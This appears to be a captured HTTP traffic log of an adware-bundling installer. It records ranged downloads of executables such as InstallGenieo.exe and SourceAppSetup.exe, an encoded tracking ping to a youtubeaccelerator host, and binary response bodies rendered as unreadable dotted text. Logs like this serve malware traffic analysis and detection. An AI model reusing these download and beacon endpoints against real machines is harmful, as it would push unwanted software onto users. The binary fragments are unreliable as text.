Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: NMaODnsktwTqBQSRnpkyDN7vJPN4I0HYb9J3my2Ws5J8kdJE5nRS9Q==
.yA.A....my.. ...._.....s..i...... 3.u..;.tE~.`h.c..Y.4....<c..U.l.
.d !..$~..G.i..T...?........%..w.e...82^.o.....#...c.......0./>....
.ol.V4wx....W.w.a.mT.......g<Y.:.... .8.(..2C......@%..(Q.)\...^.H.
..@..|N..j<..U}..r...1*0.h.hE$......s...K..k"......O`..m"\k..~YqYN.
.S....T..).2.)...t.c<....#.ooY...E.../!s6B.f.U.u..%..c.....B%..Q...
.....N...?N..X..[0.nX.e._.a...k8c...*.S....,....f|:......c.#..G9...Z.|
N.;EBt..........rs.A.2~TY.._=v-.>.....T.....>.7I..=$....N...n...
.Y.JZ.G....Ig...2(..1<)_B.i...4.......dX.[..O.RTgN~p.Ew...../\Y=m|=
...P.98.{1.h......X.k1...v....f....q..4..|...y.*......1....a...k.c=..m
'>s">[email protected].<<(..!.Z.....BD........2.
30.....r..X.......<@.................$.......y1 #..U..A..6R....rO..
.W....[...Kx...."....9..].5.T.A..[r.R<.....(...z-.>.)...l.....8.
X..{6....SL.6.......|.l.t....".?..[.l.J.qdP.9.A..3...pe.S#qA{....8p...
.hb.S..p[mo...S.....d.....?jO!ij..q.QJD...cP...m...^...d..#....:h..!..
"..X.J..n.......y.`......'RB.:7.......B.C.....Y.YQ...%.."s |....#5..q~
%#4w.Dg..t.A....q..........T..y..8#;E.c<...-6..k....E..9..|5......X
..v:8.!.5$..1.ps.)uj..;.o...H10....ME..W.E.h.._.vZ..)...?..sf........{
3.fs}.W........<...v.;Q.8.=ju/D.}.r@.? ..5......bp@.].....t5jSY...[
..G...[.....ur..**&>"..&....W......9....Y.....vg.m.hm/...U.....o0..
.9L.V.......J...K....r~.u..O......\x...[.p6...~.....R.^[email protected]..
..7.p..'.*5.j.3.....x.k...%....p.zl................H:........4...P..i"
..!.....V*.["......S.........]....X ......J_.k... .'hd....qH...k1.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=5250000-5499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 5250000-5499999/7592848
Age: 40395
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: rIdwuHJOx3_rMD4K78_YVv3bfdB0yxkZw5KOCWJ-C8m7sM5jYTpQ2g==
R.....%...q....t.6.N....j8....Uk...d.p.P.@)....g..U.?7...T..nXb....y}R
njog>..u....?.k..x.`.>........,..Q.A..:,WE.........4!H#..l.9!.DK
.8..#..........5?.$.F..0.;....P..Y..Z..9....1.}.`....... ..z!T8..m.i.k
..*,...Qa.$......>.T5....C...5.hP..D. .&..1...b......Pd.yE..*.7R-..
......~.......B......X.. n..r.(...R......3:TU^.CM..D.. .NU...|.S....Uv
Fl..!...b,..d;...=.s...pkFQ.;....%......E..$...........9..tK..#.!D... 
jk...%.m.M..V..Q'..1..aQd..l1...$.q..T*cw-....v...5..[`...B.[..,.)!..e
.....).Z..Y).0C..:...0N.dx...[ .pz..9...A.....ga.DH.)..[.#..l.%J...DYQ
14.e..7....3A..SC.......P......;....)...#.......>...hm...7.d.5 .jk.
g.y.aZd....~...3...j.j...Y.6.>..z.9.........M.....Gf......*......L.
b}......SEq........F..Y..U}[..d......i..S..aj..(8.$...-..t.....t9.....
.s.....;.'...K..NO..*..cO..(.......O..../#L../...p...0..A..]O7....@}W.
~...s.].3C...!.z>.....E.s.../..B.V..P=.@,}.:Q-...A=i....`....".9...
.2_7....w|.5/.c...=k.0..uC..UD7..........?...........s..p....,N..g.3..
X?k.&..p...VOz3gc>u........4.:...,.wK..FJB.&..n....>@..#P*....pB
}.n..B. .'^P..&..:>.IN...........x..'.)qM....h.c...zj_.."1*.)1.^..L
(..j.c..0O..`.i).9yM...O...l3...G..ghT...Q.....A.2...^..._.|......5~S.
s....K.{[email protected]....#@........f.[,............2.J...=..\..l.B
.g...=./.u..'...7.M.j../...(^.l. .cB.W.".z81..QHQ!q-...~........1F....
..........^.."....[v...5.W.V.e....GF..*._.|=.]........#.<..:u3T;.`l
)......9;..A....x.m.....T.~..^.0.WJ..& `....A..Hb.....W...z..n M....#H
...UIHW..5...[5..,..J.|.n.#d( ...hJ..%>.[...#[email protected]........
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=6250000-6499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 6250000-6499999/7592848
Age: 40395
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: KLycbGOG8NDoEwjp-kWW40AMqdv0FrnP-MBLkbQ_pc1POL_11mYCgw==
H[..v:.W.{.}."*..3..n|.%5^.......Ld.3]._.......@|.........^.<Ak.zs?
H..".q....Y..._.nB..(...e.....x..F....8P.K.Wx.......[....9...w./...L..
F........!.j^.....q....:C.$^[email protected].[J....v.*.*[email protected].
.^....;...'..... :vRhX....f.....Tz..u6..LdoO.v..B.......D.GP1(.....n'G
L..k&..qo.kd...Y...m..tZ'..{....r....._.MJQ.v.E......A.!....d.{Lk.d2.n
...|W......[=....}..C..Z.z~....7D|me`b.o.*..d%4.9....jU.4........."5)p
.w...{[email protected].|..B.!..6.... ..`'e.u7.
.."...h ....{L"k%".....nvsH.qk.q...].j}.}...r......h...IQ).._.#6.QcD.v
@[email protected]......!Q.........*F.-.$.s_9.......p......
....!4E....M............D...O..p......C..$jk...B......uE.`jJ...V.I.X.t
.Z.YE...c'.r..g.{...."{...B*......![.w.....u .8.w....J......t.}v..8...
.V..y.s....*.....i..h.(#.'..:K8x...k.R..........A.<0i.d...[...5....
...tl`..)G..B....6#^......2..3XZ'>&....R..4H.|.W.23..fn.?%..8t..T2.
..M..R..QDb'.z.`..T-......y..s....V G....9L.n.....*~...,.OX.S.k.l@..`.
.|..].....O..z...C.s.. [email protected]...&.
bD....i..^.P..MO|.E...&9....}.<..cVv......:V..;X)a..G.=....>./..
[email protected].<!...........3..j..h.[...[O|[email protected]..~..
....&......xi.(..:....]....^|;C-..i..t..7..<...1.N.n...Y ..v..x..D.
.([email protected].{.......f).....m.Bu.LH.1.yw#..wN. /b9zK9.q:pA.E..
.9.]..V..T.....De....rs.=.{e... L.3.w].\....N"....\..I.ku..........m..
9........{.."...4.......iL-..x=.I.....b.?.J#........!z.<.T#..%kC"=~
.8.u..'nG.>...Uh.8.W.g.^..}......._.?.'.......b/..j3.......;...
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=6750000-6999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 6750000-6999999/7592848
Age: 40395
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: rxCUYpVqD2EDXjBvYVbN3WxebOkuKYHhLYiIM5foi8LvGQ9TaTEcdA==
v..q...t......r.F.]}....D.L...=....1........... .>..\U[:..L"....x..
.|g.H<e.N..A.lH..,.C\...V....)U.....9..I.Gz.o..|.....b9ZB_..h......
..YD....~WC.^.(v\.r..N8|.L.P...f...c.#....x#...........M..........M...
.*.%..n....1(.s<J..>...E..gqL.......Wx....!IK=.b...i.?....C..0.1
c5.$...qqr..,..M1....R........r..&.e..x.I....0d........=..$....!.8o._N
......:..J2.D...z.y..y>....XD..G.-..........%^l....................
.`.W6.2.c..9.3....9S..G.Hk<.FM..F....y.....J.(..9..~Q......:\.U...a
..:".O..".K.0I:I.9..E.0...........,..]..J.RKC.wIcU...0..(" .......U..l
>.CQh.U........v.....2...k.\.QB...$......A...f..&..fL.e...Iv,."|'..
.1..Q0V...kX..o.Q.......2Mz.h.u[*.."f.M3.9Ek#..1...a..YJ...D.q.[.&d./.
....q.l..NS......>.....^[.Jw....Q.SE...p.E... v..,b..'....G.>4.~
V.)9|.).....P..K&[....zu.8..Jp|.............H([email protected]..'B.z.
....E...E.E}..../CE........`....%..T. .u...[pK........?.....T..Z`.Ob..
.._or$A..L.KY|..].G.....,0MfVz.Y.&..:.j.Z~.?.8.4.U.TufVX..I....w...3.[
../TD.......G!<.U......w......G...r,oL....u.Xb*......q.....2.{.....
.8....z....Td.D.).G.T&v..H.X.S7/...(.^.2...`...,F.,.D.vTx..H3.m..:....
.`.......g...#..iR.v......\.......y...3.......\,... 3U......*.2t_'.J..
.'.G.P.c..9..a......e...><..\!...\2l.g...s.,X.....2}y.Qi4{.../..
".t.?..~....p.......Yi3..7...'..N1....j.q..t.,..h.....m.O%."\].b.h.s..
..w..6....-l....R>.onCk.M..o...........p...'b.....t..B8(...M...?u..
.NU..-Lb0.?..EO.7.....k.]. ...x.........C..e...7..~Y....,Pn.#-..M../5'
A...gW...e.5.vMZM>.1...3.D.^..?.m.......}.D.x.WskV..........4\.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=7250000-7499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 7250000-7499999/7592848
Age: 40395
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: uBysHYNcGaZ2nAVMccd6F1AVneqtEtXv52EsQbNRDu0AOEfTxSfjoA==
...U3}..>...mH61...Jd.a.A.C.....N.bC..Q/......o.!!...xK..Z|..{Z.G B
.Y..!......W...o7...^S..E]o........[....gM.....f..2'w.2............M..
.3|H.z...........:.. ..|.v.....4..........{..P...\@....:..j...A.K...D.
-...az...x!...\g....X..9.k.i..-:...0....O......K>.`..[..{....X..z..
M.....%>Lb....vn...6..d/...E_..8..r..qe......J._..:.......O..-a..M?
.....KUp>..=RMG..HC%..`hcr5..7f....K.b[.m6./p....6,.0x..v.....>.
_..4.x.h .~.P".w.I.Jz....w1`8... ......f...y..&.T......'....j..l.9.q]"
..4r......K............ .o.vR..A G'..f.,..s...'...N....9./r*B,......{.
.......{..}....=.0....:A.ln.N<.c..[.r....CP..8F.Q..*......'.Kn..)..
....b...\n0.TZ.n.i.|Nl......|I..\...Q...@`41.$.Yy?..I..W%{.....s.}Y.wV
....a\. .2...tTK....Le.....f..c#.Kr.)/...>..h...Sh.O.f......J..3..&
gt;..Z..7.Z0.0...{...t."Vh.J%M.P/...,....../"...(..Y.T.>..l..S...{.
....."[email protected]...#.Q~..}TZ.c.$`[email protected]...>
...5Q........u..?.........."...b%....h...`....{/.x).gY...2.x.........y
,.\.S.l..E.P.Bh)..f...tk.C../../.........h.k.&..M`<..b.Q.6....{.&..
./2.Ga.-..T.9.l.@^...ln.;...B....}....v...W.a.....<e....WS].A....st
 *.9..\....A.........p..\.._.K....=.OL.\....&\E.. ).9y.*.6`Oy..5Y.{.b8
......rC.|.%......Am.-.K.fRa#.Z....W..N.........E.....w.G..Z..aJsK...A
.m..........F$..H.....l.A.....U>g.O..o..^(O.*...d..oG]~.._OY}.....$
..|.....S.....V.....h_?.....pB.Z,...n?.-.......X....ey%r.|f..;.w...f.j
q.Z9......1..a.g[.Qd..|B;.j....S( .._.....K.v......<..lW.......Nb.y
L....Tp!...P.\.:,>..uR.)y.^7.jE.\uA...,_H.:.,n...b...z.a/..#..?
<<< skipped >>>


GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.omniroot.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/ocsp-response
Date: Sat, 14 Feb 2015 04:00:25 GMT
Last-Modified: Thu, 12 Feb 2015 19:47:05 GMT
Server: ECS (ams/D1C2)
X-Cache: HIT
Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015021
2094611Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20150204200915Z....20150505201415Z0...*.H...............N..!x
I,.RJ......2~oi..9x5$&..q..Uh.........*.8.c.6.J=[x..MK.wsQ...........r
.|.x>..Lr"B........h.. .b.........n.".......D...D..>..Z=......`.
...t.}T..?.`.r(....M,M..t..$.O...W.......B..A.9....F.rO..j......,.7.G.
xE.......=b..y.#....H....1Qg u..R..K....._.k.....0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../[email protected]
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....
j.t%..e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..u
d.....CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&.
...q.[z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?...
.E...........'>..O.._..
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=370653-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache



v.,.s.g8.ek.G'. ..Q.[...b...o.R:PG..Y..G..GQ....BN.`...[q.Q..A....3.Y.
.w^.g..Vi<..7.;.>..p!}[email protected]...%U..J..@[..C|...^
v....^0...k...........1;uj.......l./.......[.5...6.E..,........;.....e
....bn..ya"....|..ti..*..C}<....Z...:...j...T..([email protected]..
....e...9.h......W._.!.. ..3..H.t,.....R..H.Ov......$ ..s.>...R!$.A
.]?8.".....J5r 7.....].7../.I.o.._<....:...B&$u.?.7....CD.h....v.eH
/.2...(..B..s.....DhW...L..M...nyR.f... .B.M<...=..'`.I<X.='.*..
#4..w*aS..9,F..{Ju,[email protected]..]K.P......;......}Z".P
o.......8...dL..jM!...o.s.d.Y2.).j....,G......P.....?....%%....T$5....
].a..L.X.br.JU....2.........nzF......k_.......Gs. . ...`.....4..G..c..
...j...nhX.YyN......p(wM(...^..9X...F...7H..g.P;.>& -..X.....^....M
..x......B...U.O.......0q.)n....Z...D.....I.0..hb.K.~!.o.v...gQ..R.aw/
Ka.Lj..._;-/...."....qK.. ..x.....E.X..J.j....9...|.4s...yDH/...0.....
"...!.....J......o......k...Z.<..~.N..K..'sk........gzQ..:..R$...._
A.Gl.WI...i A.......a..S...........s7..).x!.`.g........r...........8l.
..h6....U...&5...nf....0hgb=cV|...g.J..t.e(.^..............9.X.c. Z.j.
o.T;.....].3B...8..IDt......_ ..J.._.I....{&..*.....b.._I.HGT#P.F...*.
n.S.r.?.......bv.f"..>N..;..'...|*...... ..82...B....".w....6..7.A.
h..f8u{H..~..E..[...mt....)...........y.O...O!_..i.?)......kQ..}..H<
;;(.^.>....BVw..5...?'....w0.K.....$=%[email protected],....z.9.i..y.2..
...nDP....-p...v...<D./1m.b....$...K...^I..J.7$&bPz.z.N.OyR.f...581
.&.(..T.:[email protected],Y...c6...4We.6.f<.. w...`.ab......
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=416430-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 694046
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].
<<< skipped >>>


GET /__utm.gif?utmwv=5.6.3&utms=5&utmn=1695078490&utmhn=installer.filebulldog.com&utmhid=739797407&utmr=-&utmp=Installer_Init&utmht=1423886467920&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Wed, 04 Feb 2015 20:01:19 GMT
Server: Golfe2
Content-Length: 35
Age: 806389
Alternate-Protocol: 80:quic,p=0.02
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Wed, 04 Feb 2015 20:01:19 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 806389..Alternate-Protocol: 80:quic,p=0.02..Cache-Control:
 private, no-cache, no-cache=Set-Cookie, proxy-revalidate..GIF89a.....
........,...........D..;..



GET /sd?is=sm HTTP/1.1
Range: bytes=218688-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 218688-583167/583168
Content-Length: 364480
Connection: keep-alive
...q>TN............p.$o.=m%.\._...........S...%.1/Q..c.....(..\a...
N..~.?..u..).\..*..C.?...LrC~...A...e..Y..wg<..........*..H..:RSnl.
. .&.;....S..P.Iw.B....0..[.....3..T.O......#.{.......5.....h....l.>
;7.C...1U..e`.{.Y...U...1%.2B...i..A.R.47JQ.J..`.n...X...hN..c..x.1...
Dn.#........k.D....Nn....a....E...e.X.>.`&.1@.^xU.5.....<..p.V..
]..R ..H#..A.p..p...~....)...N~./[email protected](.....*.2....>...=.m....C..
...jmpG.......l... ..R..a.3....m$xnw..-kU...'}a..Q?.O..."..(U..0..W...
.. /...W?.7o..3]A.G...E7....UBT.H.. Jc0E.....>v.7=.6..3.].=3'.C}...
N..-...V xK...L.Z.{..o.....Q^....'....~...\e.....&.....WC..xQgeX...W.X
k....0....f..{..g....2....O....40 ......?.".........-....5*a.#...U~..I
..MH`.....M.....G..Q.M.....~.P......Z.@sX>@..T.&...../....m}.p._..~
..&..11..^[email protected]...'..K.g.j]zi.....8.5S."8R....\.H.MO{..>.Yt
.-....[@......lBI.Q...........7....TX^.....0.5.s.'..C.......9...P.....
[.f...O.G....b.D...l......`.........c.."<...'.....X....,........q..
..........).../.P.Pt3.T.p.A....ZY..~2...... .j*...<..*j......^.2.j.
......Y...._...K..x!..............H...H$v...}.....U......f....K..X~...
..@6b.# :.gQ,.......K.7...e.}. *..........E$v.0LP"..)....M_2..T@r.....
...\(.n.../..Uk~$..'[email protected] [email protected]
n...9l.X...D..N..!.G..B!b.\..,MP.tt>....WL.T.......<..$...^.o}{.
..-..\.e.k..#P...{Q......W.6.|*28.p.lY..]."...g....22............R..%.
..'3.Wc.q. {.....\[email protected]
.....f........VP......%..'. ..n&Xt.t..5!M\..p'#...a.b......yuSX|..
<<< skipped >>>


GET /app/ping.ashx?e=aonlVHCKlbW/q1OYm6RuNseI11IItJtH9jcckqEM4t 9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiI wXmj0gKSx1hum5eQGoao1lUND7dG30GJlpQDKee5oc2gW43IBQaOuVwDpqKHN7aE3O18WF9F24IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7SmB6nzH lJGgNLtxmH87yasaZRg38QqQq/INVbahIP2NFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R08LLBToZpaFbCHIQkF 4wy/1OplaBX/JKxBlxZ9aXoUf91SyXt9 XnayBMUx nL2Mb2B BMTyhSZOZepBrCxlI5QDt2X2jDCEkGOIu4hjM1EBLWr7TOg1Z6h91EEVPgmIU3a41vdK7U/rm5q3wSMR olRVRTi0pA8QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cXZ8qiEfUAdC/pgYcHdP8meE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZpY252DCsExwfJKZ4NCKSCQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 03:58:12 GMT..Content-Length: 0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=971667-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 138809
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=741306-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: KxBcgRrLtQwwzuEDZkLhlEFuJ pO9jCdVyHrPGSwIHyBYgNUHNdz sqgnk4mjCFr9W3J4wsKSyA=
x-amz-request-id: 1DB6AD0455D04931
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 741306-988407/988408
Content-Type: application/octet-stream
Content-Length: 247102
Server: AmazonS3
......yM.[....~.....8.^..$5*iD..8.'.~N.1.Dfm.Pz.\..M.a.. .h#....H..&..
.@..............*P......\..d....#V..Q...p7.sY....8FX.....k...~...P....
[email protected].].....y..N.k.%U..L......8..?.....8..x.v...{.e.. .p.Zp..O...JBe.H.
.M.\(..y.d.&.B....H*........5...........uZ...JfY(..;.x.......k..w1....
..>.n.&$I....~K...M......w..#A....D..ms.z...zx.a6.5.BY..k.f...$....
.H|..^.....9...F.m.u-...'...H.w.eYA......{5....R."..d#..z:..0......H..
.....su..........t.5.....8.t....T1...C7.9y......_wO_...b.....)/....^..
